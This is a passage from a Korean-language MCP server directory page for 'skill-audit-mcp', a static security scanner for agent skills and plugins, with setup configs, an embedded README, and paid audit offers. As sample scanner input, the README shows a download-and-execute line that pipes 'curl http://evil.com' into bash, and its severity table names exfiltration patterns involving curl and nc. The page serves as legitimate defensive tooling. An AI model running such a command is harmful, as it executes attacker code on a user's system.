Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
제작자가 쓴 설명(영어 원문)
MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.
이 세 가지는 절대 하나의 점수로 합치지 않아요. 의견, 측정, 인기는 서로 다른 것이니까요.
이 서버는 아직 쉬운 말로 된 요약을 쓰지 못했어요. 아래는 레지스트리에서 읽어 온 사실이에요.
쓰고 있는 AI 앱을 고른 다음 설정을 복사하세요.
필요한 것
어떤 앱을 쓰세요?
위에서 앱을 고르세요. 기억해 두었다가 다음부터는 버튼에 “…에 설치”라고 표시해요.
웹, 데스크톱, 모바일의 Claude에서 쓸 수 있어요:
https://eltociear-skill-audit.hf.space/mcpClaude Desktop → Settings → Developer → Edit Config를 열고 claude_desktop_config.json에 이 내용을 붙여 넣으세요
{
"mcpServers": {
"skill-audit": {
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0"
]
}
}
}터미널에서 이 명령어를 실행하세요
claude mcp add --transport http skill-audit https://eltociear-skill-audit.hf.space/mcpclaude mcp add skill-audit -- docker run -i --rm ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0프로젝트의 .cursor/mcp.json 또는 ~/.cursor/mcp.json에 붙여 넣으세요
{
"mcpServers": {
"skill-audit": {
"url": "https://eltociear-skill-audit.hf.space/mcp"
}
}
}프로젝트의 .cursor/mcp.json 또는 ~/.cursor/mcp.json에 붙여 넣으세요
{
"mcpServers": {
"skill-audit": {
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0"
]
}
}
}브라우저가 앱을 열지 물어본 다음, 앱이 설정을 보여 주고 확인을 요청해요. 키 값은 비워 두니 직접 입력하세요.
프로젝트의 .vscode/mcp.json에 붙여 넣으세요
{
"servers": {
"skill-audit": {
"type": "http",
"url": "https://eltociear-skill-audit.hf.space/mcp"
}
}
}프로젝트의 .vscode/mcp.json에 붙여 넣으세요
{
"servers": {
"skill-audit": {
"type": "stdio",
"command": "docker",
"args": [
"run",
"-i",
"--rm",
"ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0"
]
}
}
}브라우저가 앱을 열지 물어본 다음, 앱이 설정을 보여 주고 확인을 요청해요. 키 값은 비워 두니 직접 입력하세요.
ChatGPT는 인터넷에 있는 서버에만 연결할 수 있어요:
https://eltociear-skill-audit.hf.space/mcp메뉴 이름은 요금제나 시기에 따라 조금 다를 수 있어요.
선택한 앱은 이 기기의 쿠키에만 저장돼요. 계정은 필요 없어요.
이 설정은 제작자의 레지스트리 정보로 만들었어요. README와 다르면 README를 따르세요.
아직 이 서버의 도구 목록을 읽지 않았어요. 엔드포인트는 차례대로 돌아가며 점검해요.
누구나 볼 수 있는 정보를 점검했고, 코드는 읽지 않았어요. 해당하지 않는 항목은 개수에서 뺐어요. · 2026년 11월 7일 점검
레지스트리 이름이 GitHub 계정 eltociear 기준으로 확인되었고, 이 계정이 저장소를 소유하고 있어요
아직 GitHub에서 이 저장소를 읽어 오지 않았어요
아직 GitHub에서 이 저장소를 읽어 오지 않았어요
아직 점검하지 않았어요. 엔드포인트는 차례대로 돌아가며 점검해요
아직 점검하지 않았어요. 엔드포인트는 차례대로 돌아가며 점검해요
아직 점검하지 않았어요. 엔드포인트를 점검할 때 도구 목록을 읽어요
레지스트리에서 이 카테고리의 활성 서버 전체와 비교했어요. 스타는 게시자가 저장소를 소유한 경우에만 세요.
해당하는 기본 점검 1개 중 1개를 통과했어요. 코드는 읽지 않았어요. 키나 토큰을 넣기 전에 서버가 어떤 권한을 요구하는지 확인하고, 꼭 필요한 권한만 있는 키를 쓰세요.
레지스트리에 필수 키가 나와 있지 않아요. 다만 처음 쓸 때 로그인을 요구하는 서버도 있어요.
둘 다 가능해요. 내 컴퓨터에 설치해도 되고, 클라우드 버전에 연결해도 돼요.
GitHub 저장소는 마지막으로 – 변경됐고, 최신 버전(1.2.0)은 38일 전 레지스트리에 올라왔어요.
Claude Desktop, Claude Code, Cursor, VS Code처럼 MCP를 지원하는 앱에서 쓸 수 있어요. URL로 연결되기 때문에, 원격 MCP 서버를 지원하는 앱(예: 개발자 모드의 ChatGPT)에서도 쓸 수 있어요.
같은 카테고리에는: Spec Driven Development, Remote Desktop Commander, Aiterm MCP
같은 카테고리에서 다른 제작자가 만든 서버예요. 스타 순으로 정렬했어요.
카드 보는 법:★ GitHub 스타i세 기둥: 리뷰 · 점검 · 사용 정도i업데이트 = 최신 버전을 레지스트리에 공개한 날i
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
Persistent terminals and one launcher for Claude, Codex, Grok, Cursor, and Antigravity harnesses.
제작자의 저장소에서 쓰인 그대로 가져왔어요. PopNx MCP가 검토하거나 보증한 내용이 아니에요. HTML, 이미지, 스크립트는 제거했어요. 링크를 누르면 이 사이트를 벗어나요.
Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.
# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
Cross-referenced from the discovery channels that AI/security engineers actually read:
Add to your workflow to automatically scan PRs:
name: MCP Security Audit
on: [pull_request]
jobs: audit: runs-on: ubuntu-latest steps:
With SARIF upload (shows findings in GitHub Security tab):
- uses: eltociear/skill-audit-mcp@v1
with: path: '.' sarif: 'results.sarif'
Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)
git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp
python3 cli.py --path ./server.py # scan a file python3 cli.py --path ./some-skill/ # scan a directory python3 cli.py --path . --json # JSON output python3 cli.py --path . --sarif results.sarif # SARIF output python3 cli.py --path . --fail-on HIGH # exit 1 on HIGH or CRITICAL
Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.
Add to your MCP config:
{
"skill-audit-mcp": { "type": "stdio", "command": "python3", "args": ["path/to/scanner.py"] } }
Then ask Claude: "Audit this MCP server for security issues"
| Severity | Patterns | |
|---|---|---|
| CRITICAL | Download & execute (incl. `base64 -d \ | sh), credential exfiltration (incl. a secret file handed to curl/nc`), key generation, sensitive directory write, seed phrase harvesting |
| HIGH | Arbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection | |
| MEDIUM | Privilege escalation (world-writable modes, elevated-access requests), obfuscation | |
| INFO | External downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored |
The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.
For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.
| Layer | Server | Detects |
|---|---|---|
| Behaviors | skill-audit-mcp (this) | curl-pipe-sh, prompt injection, exfiltration (17 patterns) |
| Secrets | secrets-audit-mcp | leaked keys/tokens/PEMs (32 rules) |
Run both for full coverage.
Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.
# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --min-severity MEDIUM --fail-on HIGH
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --sarif-output /work/audit.sarif
No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"url": "https://github.com/some-org/some-mcp-server"}'
First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.
Add to your .pre-commit-config.yaml:
repos:
Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:
| Tier | Price | Deliverable |
|---|---|---|
| Spot scan | $500 | Full repo scan + 1-page risk report with prioritized fixes |
| Standard | $2,000 | Manual review + PoC for HIGH/CRITICAL findings + remediation PR |
| Engagement | $5,000+ | Pentest, threat model, retest after fixes, 30-day Slack support |
Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).
Email: eltociear@gmail.com (subject: "MCP audit")
Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.
If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:
Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.
Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.
MIT
This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.
Also hosted on the [Apify Store](https://apify.com/eltociear/mcp-server-security-scanner) (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.
Maintained by the same author — paid services on Polar (Stripe checkout):
Full catalog: polar.sh/eltociear
Same operator, same x402 rails: [clean-read](https://eltociear-skill-audit.hf.space/read) turns any URL into cl
앞부분만 보여 드려요. 나머지는 저장소에서 읽어 보세요